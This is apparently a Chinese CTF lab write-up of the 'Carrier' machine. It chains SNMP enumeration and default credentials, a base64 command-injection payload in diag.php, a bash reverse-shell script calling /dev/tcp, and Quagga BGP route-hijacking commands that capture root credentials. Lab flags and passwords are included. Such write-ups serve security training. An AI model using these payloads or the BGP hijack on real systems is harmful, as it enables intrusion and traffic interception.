[Meachines] [Medium] Carrier SNMP+CW-1000-X RCE+BGP劫持权限提升
字数 867 2025-08-29 08:29:42

Carrier SNMP+CW-1000-X RCE+BGP劫持权限提升技术分析

1. 信息收集阶段

1.1 初始扫描

目标IP: 10.10.10.105

使用以下命令进行初始扫描:

ip='10.10.10.105'; itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); 
    if [ -n "$ports" ]; then 
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
        nmap -Pn -sV -sC -p "$ports" "$ip"; 
    else 
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
    fi; 
else 
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

扫描结果:

  • 22/tcp: OpenSSH 7.6p1 Ubuntu 4
  • 80/tcp: Apache httpd 2.4.18 (Ubuntu)

1.2 SNMP信息收集

使用SNMP获取设备信息:

snmpwalk -c public -v 1 10.10.10.105

获取到设备标识符:NET_45JDX23

1.3 Web目录扫描

使用feroxbuster进行目录扫描:

feroxbuster -u 'http://10.10.10.105/'

发现重要信息:

  • 默认管理员凭据:admin:NET_45JDX23
  • 诊断页面:/diag.php

2. 远程代码执行(RCE)漏洞利用

2.1 发现漏洞

/diag.php页面存在命令注入漏洞,参数check可被利用:

http://10.10.10.105/diag.php?check=cXVhZ2dhO3BpbmcgLWMgMSAxMC4xMC4xNi4zMw==

(base64解码后为:quagga;ping -c 1 10.10.16.33)

2.2 构造反弹Shell

使用以下脚本获取反弹shell:

#!/bin/bash
URL="http://10.10.10.105/diag.php"
COOKIE="PHPSESSID=vsn8nsns2hmn9jnmvu3u576s10"
CMD="/bin/bash -i >& /dev/tcp/10.10.16.33/443 0>&1"
B64_CMD=$(echo -n "root;$CMD" | base64)
curl -s -X POST "$URL" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: $COOKIE" --data-urlencode "check=$B64_CMD"

2.3 获取用户权限

成功获取shell后找到用户flag:

13e98f59a7de80e9aa34e8473f592e37

3. 权限提升:BGP劫持

3.1 分析BGP配置

查看Quagga BGP配置:

cat /etc/quagga/bgpd.conf

关键配置:

router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.11.2 remote-as 300
 neighbor 10.78.10.2 route-map to-as200 out
 neighbor 10.78.11.2 route-map to-as300 out

3.2 网络拓扑分析

使用nmap扫描相邻网络:

./nmap -Pn -e eth1 10.120.15.0/24 10.120.16.0/24 10.120.17.0/24 --min-rate 1000 --open
./nmap -Pn -e eth2 10.120.15.0/24 10.120.16.0/24 10.120.17.0/24 --min-rate 1000 --open

发现关键主机:10.120.15.10 (开放FTP, SSH, domain服务)

3.3 BGP劫持实施步骤

  1. 进入vtysh配置模式:
vtysh
  1. 配置BGP劫持:
configure terminal
ip prefix-list maptnh permit 10.120.15.0/25
route-map to-as200 permit 10
match ip address prefix-list maptnh
set community no-export
route-map to-as200 permit 20
route-map to-as300 deny 10
match ip address prefix-list maptnh
route-map to-as300 permit 20
router bgp 100
network 10.120.15.0 mask 255.255.255.128
end
clear ip bgp *
  1. 验证配置:
show ip bgp neighbors 10.78.10.2 advertised-routes

3.4 获取root权限

劫持成功后,捕获到root凭据:

username:root
password:BGPtelc0rout1ng

使用SSH登录获取root权限:

ssh root@10.10.10.105

获取root flag:

ba0ec18cfa0f83cf7eeab8c90a30cd2e

4. 技术总结

  1. 信息收集:通过SNMP获取设备标识符,发现默认凭据
  2. Web漏洞利用:利用diag.php的命令注入漏洞获取初始访问权限
  3. BGP劫持:分析网络拓扑,通过修改BGP路由表劫持流量
  4. 权限提升:利用BGP劫持捕获敏感信息,获取root权限

此攻击链展示了从信息收集到权限提升的完整过程,特别强调了BGP配置错误导致的严重安全问题。

Carrier SNMP+CW-1000-X RCE+BGP劫持权限提升技术分析 1. 信息收集阶段 1.1 初始扫描 目标IP: 10.10.10.105 使用以下命令进行初始扫描: 扫描结果: 22/tcp: OpenSSH 7.6p1 Ubuntu 4 80/tcp: Apache httpd 2.4.18 (Ubuntu) 1.2 SNMP信息收集 使用SNMP获取设备信息: 获取到设备标识符: NET_45JDX23 1.3 Web目录扫描 使用feroxbuster进行目录扫描: 发现重要信息: 默认管理员凭据: admin:NET_45JDX23 诊断页面: /diag.php 2. 远程代码执行(RCE)漏洞利用 2.1 发现漏洞 在 /diag.php 页面存在命令注入漏洞,参数 check 可被利用: (base64解码后为: quagga;ping -c 1 10.10.16.33 ) 2.2 构造反弹Shell 使用以下脚本获取反弹shell: 2.3 获取用户权限 成功获取shell后找到用户flag: 3. 权限提升:BGP劫持 3.1 分析BGP配置 查看Quagga BGP配置: 关键配置: 3.2 网络拓扑分析 使用nmap扫描相邻网络: 发现关键主机: 10.120.15.10 (开放FTP, SSH, domain服务) 3.3 BGP劫持实施步骤 进入vtysh配置模式: 配置BGP劫持: 验证配置: 3.4 获取root权限 劫持成功后,捕获到root凭据: 使用SSH登录获取root权限: 获取root flag: 4. 技术总结 信息收集 :通过SNMP获取设备标识符,发现默认凭据 Web漏洞利用 :利用diag.php的命令注入漏洞获取初始访问权限 BGP劫持 :分析网络拓扑,通过修改BGP路由表劫持流量 权限提升 :利用BGP劫持捕获敏感信息,获取root权限 此攻击链展示了从信息收集到权限提升的完整过程,特别强调了BGP配置错误导致的严重安全问题。